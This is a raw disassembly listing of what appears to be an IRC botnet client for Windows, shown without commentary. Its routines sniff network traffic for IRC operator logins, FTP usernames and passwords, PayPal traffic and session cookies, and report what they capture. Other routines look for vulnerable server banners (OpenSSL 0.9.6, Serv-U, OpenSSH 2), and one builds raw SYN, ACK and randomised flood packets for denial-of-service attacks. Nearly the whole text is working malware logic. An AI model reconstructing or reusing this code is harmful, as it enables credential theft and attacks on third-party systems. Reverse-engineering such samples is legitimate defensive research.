"NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aOper ; "oper " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413003 endp ; =============== S U B R O U T I N E ======================================= sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413093 loc_41308F: ; CODE XREF: sub_413079+29j ; sub_413079+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413093: ; CODE XREF: sub_413079+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset a220 ; "220 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4130CA loc_4130C6: ; CODE XREF: sub_413079+60j ; sub_413079+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: sub_413079+4Bj push offset a230 ; "230 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aUser_3 ; "USER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aPass_1 ; "PASS " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413079 endp ; =============== S U B R O U T I N E ======================================= sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41311A loc_413116: ; CODE XREF: sub_413100+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413100+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413116 push offset aPaypal ; "paypal" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413140 loc_41313C: ; CODE XREF: sub_413100+4Fj ; sub_413100+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413100+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com ; "paypal.com" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413100 endp ; =============== S U B R O U T I N E ======================================= sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131A1 loc_41319D: ; CODE XREF: sub_413187+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4131A1: ; CODE XREF: sub_413187+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41319D push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131C7 loc_4131C3: ; CODE XREF: sub_413187+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131C7: ; CODE XREF: sub_413187+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4131C3 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB9E8 lea eax, [ebp+var_3B8] push eax call dword_4CBA58 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CD20 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413292 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413292: ; CODE XREF: sub_4131EC+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jnz short loc_413308 call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437870 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132E4 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_4132E4: ; CODE XREF: sub_4131EC+D6j lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_413308: ; CODE XREF: sub_4131EC+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB980 cmp eax, 0FFFFFFFFh jnz short loc_41338E call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437840 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41336A push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_41336A: ; CODE XREF: sub_4131EC+15Cj lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_41338E: ; CODE XREF: sub_4131EC+13Cj mov esi, 200h loc_413393: ; CODE XREF: sub_4131EC+1D6j ; sub_4131EC+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB9EC cmp [ebp+var_113AF], 6 jnz short loc_413393 push [ebp+var_113A4] mov edi, dword_4271CC call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413393 cmp [ebp+arg_0], 19h jz short loc_413393 cmp edi, 6Eh jz short loc_413393 cmp edi, 19h jz short loc_413393 push [ebp+var_113AC] call sub_412EDD pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+var_113A8] call sub_412EDD add esp, 10h push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C266 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B9C0 add esp, 10h test eax, eax jle short loc_413491 loc_41345D: ; CODE XREF: sub_4131EC+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413474 mov byte ptr [eax], 20h loc_413474: ; CODE XREF: sub_4131EC+283j cmp byte ptr [eax], 0Ah jnz short loc_41347C mov byte ptr [eax], 20h loc_41347C: ; CODE XREF: sub_4131EC+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B9C0 cmp [ebp+var_4], eax pop ecx jl short loc_41345D loc_413491: ; CODE XREF: sub_4131EC+26Fj cmp [ebp+arg_0], 50h jz loc_413544 cmp edi, 50h jz loc_413544 lea eax, [ebp+var_1138C] push eax call sub_412EEC test al, al pop ecx jz short loc_4134D8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43780C jmp loc_413573 ; --------------------------------------------------------------------------- loc_4134D8: ; CODE XREF: sub_4131EC+2C7j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413003 test al, al pop ecx jz short loc_41350E lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377D8 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4131EC+300j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413079 test al, al pop ecx jz short loc_413544 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377A4 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4131EC+2A9j ; sub_4131EC+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_413100 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4135B1 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_43776C loc_413573: ; CODE XREF: sub_4131EC+2E7j ; sub_4131EC+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C360 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413393 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h jmp loc_413393 ; --------------------------------------------------------------------------- loc_4135B1: ; CODE XREF: sub_4131EC+36Ej call sub_413187 test al, al pop ecx jz loc_413393 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437734 jmp short loc_413573 sub_4131EC endp ; --------------------------------------------------------------------------- byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 227D188h dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413694 proc near ; CODE XREF: ___:00413A0Bp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_4136D4 xor eax, eax jmp loc_4139C7 ; --------------------------------------------------------------------------- loc_4136D4: ; CODE XREF: sub_413694+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4139BF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_4139B5 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB9D4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB9D4 mov [ebp+var_12], ax call sub_41C2C2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 push 12345678h mov [ebp+var_14], ax call dword_4CB9D0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137A4 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137A4: ; CODE XREF: sub_413694+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137C0 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137C0: ; CODE XREF: sub_413694+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137F8 call sub_41C2C2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C2C2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137F8: ; CODE XREF: sub_413694+10Ej ; sub_413694+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB9D4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27B03A7h lea eax, [ebp+var_1C] push eax nop call near ptr 27B0000h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DB20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413846: ; CODE XREF: sub_413694+2E2j ; sub_413694+2F0j mov [ebp+var_4], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_14], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_413989 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27B0000h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4139B2 jl loc_413846 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4139B2 jmp loc_413846 ; --------------------------------------------------------------------------- loc_413989: ; CODE XREF: sub_413694+2CBj call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_4378C4 push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139B2: ; CODE XREF: sub_413694+2E0j ; sub_413694+2EEj mov ebx, [ebp+arg_8] loc_4139B5: ; CODE XREF: sub_413694+78j ; sub_413694+31Cj push [ebp+var_20] call dword_4CBA6C pop esi loc_4139BF: ; CODE XREF: sub_413694+5Bj call dword_4CB92C mov eax, ebx loc_4139C7: ; CODE XREF: sub_413694+3Bj pop edi pop ebx leave retn sub_413694 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+24h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_413694 add esp, 20h test eax, eax jnz short loc_413A1A push 1 pop eax loc_413A1A: ; CODE XREF: ___:00413A15j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h dd 59FFFF7Ch, 0E8905759h, 22CC53Ch, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh dd 0C4C6E857h, 8D90022Ch, 0FFFE4885h, 15FF50FFh, 4CBA14h dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h dd 575959FFh, 0C45EE890h, 106A022Ch, 57E4458Dh, 83C2E850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh, 4270B035h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E74005C6h dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh, 0FF004CBAh dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43792C68h dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h dd 0FF022CC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22CC1F0h dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+542Do dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h, 8B004CBAh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh dd 0C132E890h, 0C33B022Ch, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CB8ECh, 0C0753B46h, 75FFDA7Ch, 8C15FF08h, 8D004CBAh dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h dd 59FFFF77h, 0E8905359h, 22CC064h dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+5679o dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C7CAE800h dd 50900227h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 7068FFFFh dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7665E8h, 565959FFh, 2CBF87E8h, 408B9002h dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0BECEE890h dd 754E0226h, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah, 80F9E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h dd 575959FFh, 2CBE4FE8h db 2, 90h word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh dd 0B1E89056h, 5F022CBDh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414251 proc near ; CODE XREF: ___:0041433Ap var_654 = byte ptr -654h var_14 = word ptr -14h var_12 